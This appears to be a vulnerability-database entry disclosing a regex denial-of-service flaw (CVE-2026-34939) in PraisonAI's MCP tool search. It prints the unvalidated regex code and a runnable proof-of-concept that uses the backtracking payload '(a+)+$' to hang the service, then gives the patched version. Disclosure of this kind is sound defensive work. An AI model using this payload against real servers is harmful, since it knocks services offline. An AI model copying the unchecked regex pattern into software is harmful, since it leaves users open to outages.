CVE-2026-34939Medium· 6.5▾ SunlitPraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
tool_index.py:365 (source) -> tool_index.py:368 (sink)
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
import re
# sink -- compiled and applied with no timeout or exception handling
pattern = re.compile(query, re.IGNORECASE)
for tool in self.get_all_tools():
if pattern.search(tool.name) or pattern.search(tool.hint):
matches.append(tool)
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path
mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
{"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
"server": "test_server", "available": True, "auth_required": False,
"last_sync": time.time(), "tool_count": 1, "error": None
}))
from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()
start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
praisonai < 4.5.90Upgrade to a patched release:
praisonai 4.5.90Connected by shared product, vendor, weakness, or advisory.
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